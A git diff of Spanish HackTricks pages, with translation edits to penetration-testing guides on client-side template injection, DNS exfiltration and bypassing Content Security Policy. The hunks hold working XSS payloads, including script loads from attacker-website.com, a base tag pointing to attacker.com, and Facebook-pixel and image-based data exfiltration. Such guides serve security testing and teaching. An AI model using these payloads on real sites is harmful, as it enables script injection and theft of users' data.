* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -21,7 +21,7 @@ La forma de **probar** esta vulnerabilidad es muy **similar** al caso de **SSTI*
# AngularJS
AngularJS es un marco de JavaScript ampliamente utilizado que interactúa con HTML a través de atributos conocidos como directivas, siendo una notable **`ng-app`**. Esta directiva permite a AngularJS procesar el contenido HTML, lo que habilita la ejecución de expresiones JavaScript dentro de llaves dobles.
AngularJS es un marco de JavaScript ampliamente utilizado que interactúa con HTML a través de atributos conocidos como directivas, siendo una notable **`ng-app`**. Esta directiva permite que AngularJS procese el contenido HTML, lo que habilita la ejecución de expresiones JavaScript dentro de llaves dobles.
En escenarios donde la entrada del usuario se inserta dinámicamente en el cuerpo HTML etiquetado con `ng-app`, es posible ejecutar código JavaScript arbitrario. Esto se puede lograr aprovechando la sintaxis de AngularJS dentro de la entrada. A continuación se muestran ejemplos que demuestran cómo se puede ejecutar código JavaScript:
```javascript
@ -40,7 +40,7 @@ Puedes encontrar un **ejemplo en línea muy básico** de la vulnerabilidad en **
# VueJS
Puedes encontrar una implementación de **vue.js vulnerable** en [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Puedes encontrar una implementación de **Vue.js vulnerable** en [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
Y el **código fuente** del ejemplo vulnerable aquí: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
@ -66,7 +66,7 @@ Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
# Mavo
Payload:
Carga:
```
[7*7]
[(1,alert)(1)]
@ -94,9 +94,9 @@ javascript:alert(1)%252f%252f..%252fcss-images
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -108,7 +108,7 @@ sys 0m0.000s
```
### Exfiltración de datos basada en DNS
Basada en la herramienta de `https://github.com/HoLyVieR/dnsbin` también alojada en dnsbin.zhack.ca
Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin` también alojada en dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -146,10 +146,10 @@ powershell C:**2\n??e*d.*? # notepad
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -157,7 +157,7 @@ Otras formas de apoyar a HackTricks:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -7,31 +7,31 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
Únete al servidor de [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que explora la emoción y los desafíos del hacking
Involúcrate con contenido que explora la emoción y desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## ¿Qué es CSP?
La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos incluyen una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando los caminos y fuentes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
La implementación de CSP se realiza a través de **encabezados de respuesta** o mediante la incorporación de **elementos meta en la página HTML**. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
@ -101,12 +101,12 @@ object-src 'none';
* `'sha256-<hash>'`: Lista blanca de scripts con un hash sha256 específico.
* `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si ha sido listado en una lista blanca por un nonce o hash.
* `'host'`: Especifica un host específico, como `example.com`.
* `https:`: Restringe las URLs a aquellas que utilizan HTTPS.
* `https:`: Restringe las URLs a aquellas que usan HTTPS.
* `blob:`: Permite que los recursos se carguen desde URLs de Blob (por ejemplo, URLs de Blob creadas mediante JavaScript).
* `filesystem:`: Permite que los recursos se carguen desde el sistema de archivos.
* `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración).
* `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo los orígenes seguros pueden cargar recursos desde orígenes seguros).
* `'strict-origin-when-cross-origin'`: Envía URLs completas al realizar solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
* `'strict-origin-when-cross-origin'`: Envía URLs completas al hacer solicitudes del mismo origen pero solo envía el origen cuando la solicitud es de origen cruzado.
* `'unsafe-allow-redirects'`: Permite cargar recursos que se redirigirán inmediatamente a otro recurso. No recomendado ya que debilita la seguridad.
@ -134,13 +134,13 @@ Carga de trabajo en funcionamiento:
```
### strict-dynamic
Si de alguna manera puedes hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido lo está creando, la **nueva etiqueta de script podrá ejecutarse**.
Si de alguna manera puedes hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido lo está creando, la **nueva etiqueta de script podrá ser ejecutada**.
### Comodín (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Carga de trabajo en funcionamiento:
Carga de trabajo funcional:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -148,7 +148,7 @@ Carga de trabajo en funcionamiento:
### Falta de object-src y default-src
{% hint style="danger" %}
**Parece que esto ya no está funcionando**
**Parece que esto ya no funciona**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
@ -159,19 +159,19 @@ Cargas de trabajo funcionales:
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Carga de Archivos + 'self'
### Subida de archivos + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si puedes subir un archivo JS puedes evadir este CSP:
Si puedes subir un archivo JS puedes evadir esta CSP:
Payload funcional:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Sin embargo, es altamente probable que el servidor esté **validando el archivo cargado** y solo te permitirá **subir un tipo determinado de archivos**.
Sin embargo, es altamente probable que el servidor esté **validando el archivo cargado** y solo te permitirá **cargar un tipo específico de archivos**.
Además, incluso si pudieras cargar un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo basado en la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
Además, incluso si pudieras cargar un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo basado en la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", existen errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión mal interpretada**, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota ([algunos ejemplos de políglotas aquí](https://github.com/Polydet/polyglot-database)).
@ -204,10 +204,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones agregadas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca, y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -245,7 +245,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Endpoints de Terceros + JSONP
### Puntos finales de terceros + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -261,7 +261,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones también lo son.
### Abusos de Terceros
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que pueden estar permitidos en alguna parte de la CSP y pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
@ -287,32 +287,35 @@ Content-Security-Policy: default-src 'self www.facebook.com;
## Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, CSP can sometimes be misconfigured, allowing attackers to bypass its restrictions and execute malicious code on a target website.
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
In this guide, we will explore various techniques that can be used to bypass CSP protections and execute unauthorized scripts on a target web application.
In this guide, we will explore various techniques that can be used to bypass Content Security Policy (CSP) protections.
## Table of Contents
- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
- [Bypassing CSP with Trusted Types](bypassing-csp-trusted-types.md)
## Conclusion
Understanding how to bypass CSP protections is essential for security professionals and web developers to ensure the integrity and security of web applications. By being aware of common bypass techniques, security teams can better protect their assets and prevent malicious actors from exploiting vulnerabilities in CSP configurations.
By understanding how Content Security Policy (CSP) works and the potential bypass techniques, security professionals can better assess the security posture of web applications and implement appropriate defenses to protect against code injection attacks.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigues estos pasos generales:
1. Crea una cuenta de desarrollador en Facebook aquí.
1. Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web".
1. Crea una nueva aplicación de "Facebook Login" y selecciona "Sitio web".
1. Ve a "Configuración -> Básico" y obtén tu "ID de la aplicación".
1. En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "evento personalizado" y la carga de datos.
1. Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
1. En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "customEvent" y la carga de datos.
1. Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos se puede encontrar en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
1. Selecciona la pestaña "Eventos de prueba" para ver los eventos enviados por "tu" sitio web.
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para que apunte a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emita un evento personalizado como este:
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook y apuntar a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emitir un evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -337,7 +340,7 @@ Al **explotar esta inconsistencia en la interpretación de URL entre el navegado
La solución es no tratar `%2f` como `/` en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.
Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Ejemplo en línea: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Ejecución de JS en iframes
@ -349,7 +352,7 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
Si falta la directiva **base-uri** se puede abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, se puede abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, se puede abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS**.\
Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
```html
<base href="https://www.attacker.com/">
@ -382,11 +385,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Otras endpoints de ejecución arbitraria JSONP se pueden encontrar [**aquí**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
### Bypass a través de Redirección
¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando.
¿Qué sucede cuando CSP encuentra una redirección en el lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando.
Sin embargo, según la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección lleva a una ruta diferente, puede evadir las restricciones originales.
Sin embargo, según la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección lleva a una ruta diferente, puede eludir las restricciones originales.
Aquí tienes un ejemplo:
```html
@ -406,9 +411,9 @@ Aquí tienes un ejemplo:
```
Si CSP está configurado en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP.
Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **no se considera la ruta**, y el **script puede cargarse**, evitando así la restricción de la ruta.
Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y el **script puede cargarse**, evitando así la restricción de la ruta.
Con esta redirección, incluso si se especifica completamente la ruta, seguirá siendo evadida.
Con esta redirección, incluso si se especifica completamente la ruta, seguirá siendo evitada.
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abiertas y de que no haya dominios que puedan ser explotados en las reglas de CSP.
@ -420,7 +425,7 @@ Lee [cómo aquí](../dangling-markup-html-scriptless-injection/).
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) e `img-src *` significa que se puede usar en la página web cualquier imagen de cualquier recurso.
`'unsafe-inline'` significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que se puede usar en la página web cualquier imagen de cualquier recurso.
Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
```javascript
@ -428,7 +433,7 @@ Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta oca
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
También podrías abusar de esta configuración para **cargar código JavaScript insertado dentro de una imagen**. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar del "**unsafe-inline**" para **ejecutar** un código JS (como un XSS regular) que **cargará** la **imagen**, **extraerá** el **JS** de ella y lo **ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
También se podría abusar de esta configuración para **cargar código JavaScript insertado dentro de una imagen**. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar del "**unsafe-inline**" para **ejecutar** un código JS (como un XSS regular) que **cargará** la **imagen**, **extraerá** el **JS** de ella y lo **ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Con Service Workers
@ -444,7 +449,7 @@ La función **`importScripts`** de los service workers no está limitada por CSP
#### Chrome
Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política**, entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **permitir scripts 'unsafe-inline'** con cualquiera de estos bypasses:
Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política**, entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **permitir script 'unsafe-inline'** con cualquiera de estos bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -460,9 +465,9 @@ Ejemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
### img-src \*; a través de XSS (iframe) - Ataque de tiempo
Observa la falta de la directiva `'unsafe-inline'`\
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargarse** puedes extraer la información que necesitas.
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar** puedes extraer la información que necesitas.
Esta vez se va a extraer una **bandera**, cada vez que se **adivine correctamente un carácter** a través de SQLi la **respuesta** tardará **más tiempo** debido a la función de espera. Luego, podrás extraer la bandera:
Esta vez se va a extraer una **bandera**, cada vez que se adivine correctamente un **carácter a través de SQLi** la **respuesta** tardará **más tiempo** debido a la función de espera. Luego, podrás extraer la bandera:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -548,9 +553,9 @@ CSP puede ser más restrictivo utilizando **etiquetas meta HTML** y los scripts
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS exfiltration con Content-Security-Policy-Report-Only
### Extracción de JS con Content-Security-Policy-Report-Only
Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`<script>`** y debido a que es altamente probable que `unsafe-inline` no esté permitido por la CSP, esto **desencadenará un error de CSP** y parte del script (que contiene la información sensible) se enviará al servidor desde `Content-Security-Policy-Report-Only`.
Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`<script>`** y debido a que es altamente probable que `unsafe-inline` no esté permitido por la CSP, esto provocará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde `Content-Security-Policy-Report-Only`.
Para un ejemplo, [**consulta este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -558,19 +563,19 @@ Para un ejemplo, [**consulta este writeup de CTF**](https://github.com/maple3142
```javascript
